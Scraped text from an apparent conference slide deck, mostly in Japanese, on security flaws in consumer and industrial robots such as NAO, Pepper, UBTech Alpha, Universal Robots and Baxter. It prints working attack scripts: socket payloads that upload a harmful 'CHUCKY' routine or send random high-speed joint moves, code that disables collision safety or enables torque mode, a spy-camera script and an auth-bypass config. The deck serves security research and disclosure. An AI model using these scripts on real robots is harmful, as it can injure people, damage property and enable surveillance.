Contenu connexe Similaire à Lucas apa pacsec_slides_jp-final Similaire à Lucas apa pacsec_slides_jp-final (20) Lucas apa pacsec_slides_jp-final4. 主な家庭用ロボットとビジネス用ロボット
4
ソフトバンクロボット:NAOとPepper
ATOM Z530 | Atom E3845 QUAD
1 GB RAM | 4 GB RAM
イーサネット, WiFi, BT
Linux 2.6.33-rt31-aldebaran-rt (Nao)
Linux 4.0 (Pepper)
Linux 3.10.72 (Androidタブレット) UBTECHロボティクス社:
アルファ1Sとアルファ 2
Linux 3.10.0 armv71
ROBOTIS社:OP2とTHORMANG3
Intel Atom N2600 / Ubuntu 12.04 LTS
11. 大規模ネットワーク上のロボットを見つける
● mDNS (マルチキャスト DNS)で簡単に
見つかる
• NAO/Pepperのデフォルトホスト名
は "nao.local"
• Baxter/Sawyerのデフォルトホスト名
はシリアル番号+ 「local」
例:“011303P0017.local” もしくは
<ロボット名>.local
• ユニバーサルロボット社のUR3,
UR5, UR10 のデフォルトホスト名は
"ur.local"
1
1
12. 認証/認可の脆弱性
● Bluetooth, WiFi, イーサネット によるネットワーク接続
● 多くの保護されていないサービス (独自仕様・オープンソース)
○ 5つの制御用TCPポートを通じてUniversal Robotsを動かす
○ V-Sido OS は認証が無い(ハード・ソフト インターフェース)
○ UBTech制御ポート
○ ROBOTIS RoboPlus プロトコルは認証が無い
○ Baxter/Sawyer SDK/RSDK シェルはカメラに接続、もしく、動かす
ためのもの
○ Pepper/NAO への攻撃は、ロボットに組み込まれたモジュール
のほとんどにアクセスできる(マイク、ボディーコントロール、
データベース、ネットワーク、カード、VPNシークレット、顔
認識モジュール)、ドキュメントに載っていない関数はリモー
トからコード実行させることができる
○ Pepper 管理用 Web コンソールでの認証バイパス
1
2
13. Pepper 管理コンソールにおける認証バイパス
1
3
location ~* /libs/qimessaging/.*/qimessaging.js {
auth_pam "Secure Zone";
auth_pam_service_name "nginx";
}
http://192.168.1.105GET / 200
http://192.168.1.105GET /lib/requirejs/require.js?v=2.0.0 200
http://192.168.1.105GET /js/config.js?v=2.0.0 200
http://192.168.1.105GET /js/main.js?v=1.2.0 200
http://192.168.1.105GET /js/app.js?v=1.2.0 200
http://192.168.1.105GET /libs/qimessaging/1.0/qimessaging.js?v=1.2.0 401 Forbidden
実際の認証処理は
無い!
nginx config file
14. 友人であるロボットを悪のロボットに変える
1
4
● 人を傷つけるために Alpha2 をハックする
2 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
3 connected = sock.connect((HOST, PORT))
4 data = ""
5 print "[!] Sending Protocol HELLO"
7 sock.send("x34x12x12x00x00x00x01x00x00x00x92x01xabx91xa9
xe4xb8xadx73x73x73x73x73x73")
9 time.sleep(2)
10 print "[!] Requesting Available Actions"
12 sock.send("x34x12x07x00x00x00x01x00x00x00x92x03xa0")
13 sock.recv(1000)
14 print "[!] Uploading CHUCKY.UBX"
16 sock.send("x34x12x04x00x00x00x01x00x00x00")
(...)
27 print "[!] Sending Keep-Alive"
28 sock.send("x34x12x04x00x00x00x01x00x00x00")
29 sock.recv(1000)
31 print "[!] Launching CHUCKY"
32 sock.send("x34x12x0fx00x00x00x01x00x00x00x92x05xa8x91xa6Chucky")
33 sock.close()
34 print data
19. 内部脅威としてのロボット:諜報活動の可能性
1
9
● NAO / Pepperをハックしてスパイカメラにする
proxyVideo = ALProxy("ALVideoDevice", IP, PORT)
resolution = vision_definitions.kQVGA
colorSpace = vision_definitions.kRGBColorSpace
imgClient = proxyVideo.subscribe("_client", resolution, colorSpace, 5)
# Select camera.
proxyVideo.setParam(vision_definitions.kCameraSelectID, cameraID)
image = proxyVideo.getImageRemote(imgClient)
motionProxy = ALProxy("ALMotion", IP, PORT)
motionProxy.setStiffnesses("Head", 1.0)
# Example showing a slow, relative move of "HeadYaw".
# Calling this multiple times will move the head further.
names = "HeadYaw"
changes = 1
fractionMaxSpeed = 0.5
motionProxy.changeAngles(names, changes, fractionMaxSpeed)
ALVideoDevice.so
ALMotion.so
update video feed
21. UBTech のスパイ活動?
2
1
● GPS座標をハードコードされた暗号 で
暗号化して送信 (Alpha 1S)
● GPS座標を暗号せずに送信(Alpha 2)
● 写真自動的にクラウドと同期
● IMEI と 通信 データを送信 (Mobile app)
● 全ての認識された音声データを送信 (ロー
カルネットワークのIPアドレス宛のみ)
● ロボットはクラウドからコントロール可能
● すべては平文で送信☺
29. ユニバーサルロボットの安全保護を攻撃する
2
9
6. 新しいインストールファイルをロードする(新しい安全設定)。
7. UR制御サービスの認証に関する問題を攻撃することで、ロボットを
任意の危険な方法で動かす。
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, 30002))
for x in xrange(50):
q = [random.uniform(-2*math.pi, 2*math.pi),
random.uniform(-2*math.pi, 2*math.pi),
random.uniform(-2*math.pi, 2*math.pi),
random.uniform(-2*math.pi, 2*math.pi),
random.uniform(-2*math.pi, 2*math.pi),
random.uniform(-2*math.pi, 2*math.pi)] ← joint positions
a = random.uniform(1, 20) ← joint acceleration
v = random.uniform(1, 20) ← joint speed
payload = "movej("+ str(q) + ", a="+str(a)+", v="+str(v)+")" ← move joints
s.send(payload + "n")
print "[!] Sent", payload
time.sleep(1)
data = s.recv(1024)
s.close()
print("Received", repr(data))
32. Disabling Pepper/NAO Human Safety Settings (1/2)
● It is possible to disable all external-collision avoidance
protections by changing the state of the ALMotion module
through the setExternalCollisionProtectionEnabled function.
○ NAO does not require user consent for disabling critical
reflexes
○ Pepper require user consent for disabling critical reflexes
(exploit Auth Bypass in Web Console)
3
2
Pepper blind spots. Arm speed is reduced
when moving inside these zonesSecurity Distances NAO/Pepper
33. Disabling Pepper/NAO Human Safety Settings (2/2)
3
3
"""
This exploit uses the setExternalCollisionProtectionEnabled method.
"""
# Get the service ALMotion.
motion_service = session.service("ALMotion")
# Disables "Move", "LArm" and "RArm" external anti collision
name = "All"
enable = False
motion_service.setExternalCollisionProtectionEnabled(name, enable)
(…)
Security protection can be disabled from the
vulnerable Pepper Web Console.
34. Disabling Baxter/Sawyer Human Safety Settings
3
4
● Arm joint mode: "Torque mode"
○ This control mode should be used with extreme caution,
since this control mode bypasses collision avoidance and
can result in potentially harmful motions.
○ To enable torque mode: publish a JointCommand message
to the joint_command topic for a given arm to set the arm
into the desired control mode and move it (mode 3):
$ rostopic pub /robot/limb/<side>/joint_command
baxter_core_msgs/JointCommand "{mode: 3, command: [0.0,
0.01, 0.0, 3.0, 2.55, -1.0, -2.07], names: ['left_w0', 'left_w1',
'left_w2', 'left_e0', 'left_e1', 'left_s0', 'left_s1']}" -r 100
○ Other ways to disable collision avoidance are also
possible
36. ROS: 研究 => 製品化
3
6
MICO
NAV2
Schunk LWA 4P
JACO
HiroNXO
ERLE Plane
REEM
Manipulator
PR2
Pepper
41. 物理攻撃 – 安全でないストレージ
4
1
● リムーバブル・ストレージRemovable storage
○ Alpha 2 はロボットの動きと WiFi パスワードを保存
generic:/sdcard/ubtech/temp/image # ls -lha
-rw-rw---- 1 root sdcard_rw 10K 2016-11-02 01:10 -943417681 <--- QR
code
drwxrwx--x 2 root sdcard_rw 4.0K 2016-11-02 01:21 .
drwxrwx--x 3 root sdcard_rw 4.0K 2016-11-02 00:40 ..
-rw-rw---- 1 root sdcard_rw 49 2016-11-02 01:21 819289450 <--- QR
code
$platform-tools/adb pull /sdcard/ubtech/temp/image/-943417681
45. 署名されていない更新
4
5
● ファームウェア/アプリケーションの完全性は無い
○ ROBOTIS-OP2 における署名無しのファームウェアイメージ
○ 署名されていないUBTech Alpha (ロボットとアプリケーション
両方) APKによるアップデート
○ ソフトバンクNAO/Pepper におけるNULLのチェックサム
printf("nDownloading Bytesum:%2Xn", bytesum);
...
/*--- end download ---*/
r = write(fd, "go 8023000", 10);
r = write(fd, "r", 1);
int wait_count = 0;
char last_char = 0;
while(1)
{
if(kbhit())
{
TxCh = _getch();
if(TxCh == 0x1b)
break;
else if(TxCh == 127) // backspace
TxCh = 0x08; // replace backspace value
r = write(fd, &TxCh, 1); ← writes directly
}
Alpha アプリケーション
アップデート
ROBOTIS OP2 RoboPlus
46. 今日のロボットにおけるセキュリティ問題
● 見つかったこと
○ 安全でない通信
○ メモリ破損の問題
○ リモートコード実行の脆弱性
○ ファイル整合性の問題
○ 認証の問題
○ 認証機能の欠落
○ 弱い暗号化
○ ファームウェアのアップデート/アップグレードの問題
○ プライバシー問題
○ 文書化されていない機能 (リモートコード実行可能などの脆弱性
も有る)
○ 弱いデフォルト設定 (SSHシークレットの共有、パスワード)
○ 脆弱なオープンソースのロボットフレームワークとライブラリ
4
6
50. 結論
● ロボットは素晴らしい
● ロボットは安全ではない
● 人間の安全確保機能が無効化できる
○ 現在のロボットは十分な安全を提供できない
● ロボットは人を殺したり傷つけたりできるし、物も損傷できる
● 研究プロジェクトはセキュリティを追加せずに製品化に移行
● マーケティングが勝っている
● これを直ちに解決する必要が有る
5
0